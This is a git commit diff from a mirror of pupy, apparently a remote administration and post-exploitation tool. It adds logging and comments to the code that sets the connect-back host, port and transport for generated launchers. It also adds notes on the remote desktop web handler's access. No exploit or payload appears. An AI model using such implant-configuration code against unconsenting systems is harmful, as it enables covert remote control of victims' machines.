mirror of https://github.com/n1nj4sec/pupy.git
Merge https://github.com/quentinhardy/pupy into unstable
This commit is contained in:
commit
6494b8fb17
|
@ -16,25 +16,34 @@ def parser(server, handler, config):
|
||||||
return pupygen.get_parser(PupyArgumentParser, config=config)
|
return pupygen.get_parser(PupyArgumentParser, config=config)
|
||||||
|
|
||||||
def do(server, handler, config, args):
|
def do(server, handler, config, args):
|
||||||
if not args.launcher or (args.launcher and args.launcher in ('connect', 'auto_proxy')):
|
handler.display(Info("Raw user arguments given for generation: {0}".format(str(args.launcher_args))))
|
||||||
args.launcher = args.launcher or 'connect'
|
if not args.launcher:
|
||||||
transport = None
|
handler.display(Info("Launcher/connection method not given. It is set to 'connect' now"))
|
||||||
transport_idx = None
|
args.launcher = 'connect'
|
||||||
host = None
|
#launcher method 'connect' or 'auto_proxy'
|
||||||
host_idx = None
|
if args.launcher and args.launcher in ('connect', 'auto_proxy'):
|
||||||
port = None
|
transport = None #For saving the transport method (default or given by user)
|
||||||
preferred_ok = True
|
transport_idx = None
|
||||||
|
host = None #Host for listening point (not for launcher args)
|
||||||
need_transport = False
|
port = None #Port for listening point (not for launcher args)
|
||||||
need_hostport = False
|
host_idx = None #For saving host:port from user args (if given by user)
|
||||||
|
preferred_ok = True
|
||||||
|
need_transport = False #For appending transport method in launcher args
|
||||||
|
need_hostport = False #For appending host & port for connection back in launcher args
|
||||||
|
|
||||||
if args.launcher_args:
|
if args.launcher_args:
|
||||||
|
#Some arguments are given in command line, saving host&port and transport method
|
||||||
total = len(args.launcher_args)
|
total = len(args.launcher_args)
|
||||||
for idx,arg in enumerate(args.launcher_args):
|
for idx,arg in enumerate(args.launcher_args):
|
||||||
if arg == '-t' and idx < total-1:
|
if arg == '-t' and idx < total-1:
|
||||||
|
#Manage Transport
|
||||||
transport = args.launcher_args[idx+1]
|
transport = args.launcher_args[idx+1]
|
||||||
transport_idx = idx+1
|
transport_idx = idx+1
|
||||||
|
handler.display(Info(
|
||||||
|
"Launcher configuration: Transport for connection back will be set to {0}".format(
|
||||||
|
repr(transport))))
|
||||||
elif arg == '--host' and idx<total-1:
|
elif arg == '--host' and idx<total-1:
|
||||||
|
#Manage host & port for connection back
|
||||||
host_idx = idx+1
|
host_idx = idx+1
|
||||||
hostport = args.launcher_args[host_idx]
|
hostport = args.launcher_args[host_idx]
|
||||||
if ':' in hostport:
|
if ':' in hostport:
|
||||||
|
@ -45,21 +54,26 @@ def do(server, handler, config, args):
|
||||||
port = int(hostport)
|
port = int(hostport)
|
||||||
except:
|
except:
|
||||||
host = hostport
|
host = hostport
|
||||||
|
handler.display(Info(
|
||||||
|
"Launcher configuration: Host & port for connection back will be set to {0}:{1}".format(
|
||||||
|
host,port)))
|
||||||
|
|
||||||
need_transport = not bool(transport)
|
need_transport = not bool(transport)
|
||||||
need_hostport = not all([host, port])
|
need_hostport = not all([host, port])
|
||||||
|
|
||||||
|
#If host, port or transport are missing
|
||||||
if not all([host, port, transport]):
|
if not all([host, port, transport]):
|
||||||
default_listener = None
|
default_listener = None
|
||||||
preferred_ok = False
|
preferred_ok = False
|
||||||
|
|
||||||
if transport:
|
if transport:
|
||||||
|
#Transport method is given, get the listener
|
||||||
default_listener = server.listeners.get(transport)
|
default_listener = server.listeners.get(transport)
|
||||||
if not default_listener:
|
if not default_listener:
|
||||||
handler.display(Error(
|
handler.display(Error(
|
||||||
'Requested transport {} is not active. Will use default'.format(
|
'Requested transport {} is not active. Will use default'.format(
|
||||||
transport)))
|
transport)))
|
||||||
|
#We need to save the transport method for the launcher
|
||||||
need_transport = True
|
need_transport = True
|
||||||
|
|
||||||
if not default_listener:
|
if not default_listener:
|
||||||
|
@ -69,34 +83,38 @@ def do(server, handler, config, args):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
if default_listener:
|
if default_listener:
|
||||||
|
#We have a listener, we can set host & port
|
||||||
transport = default_listener.name
|
transport = default_listener.name
|
||||||
|
|
||||||
handler.display(Info(
|
handler.display(Info(
|
||||||
'Connection point: Transport={} Address={}:{}'.format(
|
'This local listening point will be used: Transport={} Address={}:{}'.format(
|
||||||
default_listener.name, default_listener.external,
|
default_listener.name, default_listener.external,
|
||||||
default_listener.external_port)))
|
default_listener.external_port)))
|
||||||
|
|
||||||
if host or port:
|
if host or port:
|
||||||
handler.display(Warn('Host and port will be ignored'))
|
handler.display(Warn('Host and port {0}:{1} are ignored for getting the valid local listening point but'.format(host, port)))
|
||||||
|
handler.display(Warn('they are kept for configuring the launcher for connection back'))
|
||||||
|
|
||||||
if args.prefer_external != default_listener.local:
|
if args.prefer_external != default_listener.local:
|
||||||
host = default_listener.external
|
host = default_listener.external
|
||||||
port = default_listener.external_port
|
port = default_listener.external_port
|
||||||
preferred_ok = True
|
preferred_ok = True
|
||||||
|
handler.display(Info("Host & port for listening point are set to: {0}:{1}".format(host,port)))
|
||||||
elif not args.prefer_external and not default_listener.local:
|
elif not args.prefer_external and not default_listener.local:
|
||||||
host = get_listener_ip(cache=False)
|
host = get_listener_ip(cache=False)
|
||||||
if host:
|
|
||||||
handler.display(Warn('Using {} as local IP'.format(host)))
|
|
||||||
|
|
||||||
port = default_listener.port
|
port = default_listener.port
|
||||||
|
if host:
|
||||||
|
handler.display(Warn('Using {0}:{1} as local IP:PORT for the local listening point'.format(host, port)))
|
||||||
preferred_ok = True
|
preferred_ok = True
|
||||||
else:
|
else:
|
||||||
preferred_ok = not (default_listener.local and args.prefer_external)
|
preferred_ok = not (default_listener.local and args.prefer_external)
|
||||||
|
|
||||||
|
#If transport is missing
|
||||||
if not transport:
|
if not transport:
|
||||||
handler.display(Error('No active transports. Explicitly choose one'))
|
handler.display(Error('No active transport method. You have to explicitly choose one. Impossible to continue.'))
|
||||||
return
|
return
|
||||||
|
|
||||||
|
#If host or port is missing or preferred_ok
|
||||||
if not all([host, port, preferred_ok]):
|
if not all([host, port, preferred_ok]):
|
||||||
maybe_port = get_listener_port(config, external=args.prefer_external)
|
maybe_port = get_listener_port(config, external=args.prefer_external)
|
||||||
maybe_host, local = get_listener_ip_with_local(
|
maybe_host, local = get_listener_ip_with_local(
|
||||||
|
@ -105,26 +123,34 @@ def do(server, handler, config, args):
|
||||||
)
|
)
|
||||||
|
|
||||||
if (not local and args.prefer_external) or not (host and port):
|
if (not local and args.prefer_external) or not (host and port):
|
||||||
handler.display(Warn('Using configured/discovered external HOST:PORT'))
|
handler.display(Warn('Using configured/discovered: {0}:{1}'.format(maybe_host, maybe_port)))
|
||||||
host = maybe_host
|
host = maybe_host
|
||||||
port = maybe_port
|
port = maybe_port
|
||||||
else:
|
else:
|
||||||
handler.display(Warn('Unable to find external HOST:PORT'))
|
handler.display(Warn('Unable to find external HOST:PORT'))
|
||||||
|
|
||||||
|
#If need a transport method because not given by user for launcher
|
||||||
if need_transport:
|
if need_transport:
|
||||||
if transport_idx is None:
|
if transport_idx is None:
|
||||||
args.launcher_args += ['-t', transport]
|
args.launcher_args += ['-t', transport]
|
||||||
else:
|
else:
|
||||||
args.launcher_args[transport_idx] = transport
|
args.launcher_args[transport_idx] = transport
|
||||||
|
#Transport method not given by user. Consequently,
|
||||||
|
handler.display(Info("Transport method {0} appended to launcher args".format(repr(transport))))
|
||||||
|
|
||||||
|
#If host and port are not given/find for connection back
|
||||||
if need_hostport:
|
if need_hostport:
|
||||||
hostport = '{}:{}'.format(host, port)
|
hostport = '{}:{}'.format(host, port)
|
||||||
if host_idx is None:
|
if host_idx is None:
|
||||||
args.launcher_args += ['--host', hostport]
|
args.launcher_args += ['--host', hostport]
|
||||||
else:
|
else:
|
||||||
args.launcher_args[host_idx] = hostport
|
args.launcher_args[host_idx] = hostport
|
||||||
|
#Host & port method not given by user. Consequently,
|
||||||
|
handler.display(Info("Host & port {0} appended to launcher args".format(repr(hostport))))
|
||||||
|
|
||||||
|
#Enable HTTPD if required
|
||||||
if server.httpd:
|
if server.httpd:
|
||||||
|
handler.display(Info("HTTPD enabled"))
|
||||||
wwwroot = config.get_folder('wwwroot')
|
wwwroot = config.get_folder('wwwroot')
|
||||||
if not args.output_dir:
|
if not args.output_dir:
|
||||||
args.output_dir = wwwroot
|
args.output_dir = wwwroot
|
||||||
|
|
|
@ -167,7 +167,13 @@ class RemoteDesktopModule(PupyModule):
|
||||||
|
|
||||||
port, path = conninfo
|
port, path = conninfo
|
||||||
self.success("Web handler started on http://127.0.0.1:%d%s"%(port, path))
|
self.success("Web handler started on http://127.0.0.1:%d%s"%(port, path))
|
||||||
|
self.info("By default, web handler accepts connections from localhost only")
|
||||||
|
self.info("Use the following pupy command for allowing another ip address to connect to web handler:")
|
||||||
|
self.info("'config set webserver local_ips X.Y.Z.A'")
|
||||||
if args.view:
|
if args.view:
|
||||||
config = self.client.pupsrv.config
|
config = self.client.pupsrv.config
|
||||||
viewer = config.get('default_viewers', 'browser')
|
viewer = config.get('default_viewers', 'browser')
|
||||||
subprocess.Popen([viewer, path])
|
try:
|
||||||
|
subprocess.Popen([viewer, path])
|
||||||
|
except Exception as e:
|
||||||
|
self.error("Impossible to execute '{0} {1}': {2}".format(viewer, path, str(e)))
|
||||||
|
|
Loading…
Reference in New Issue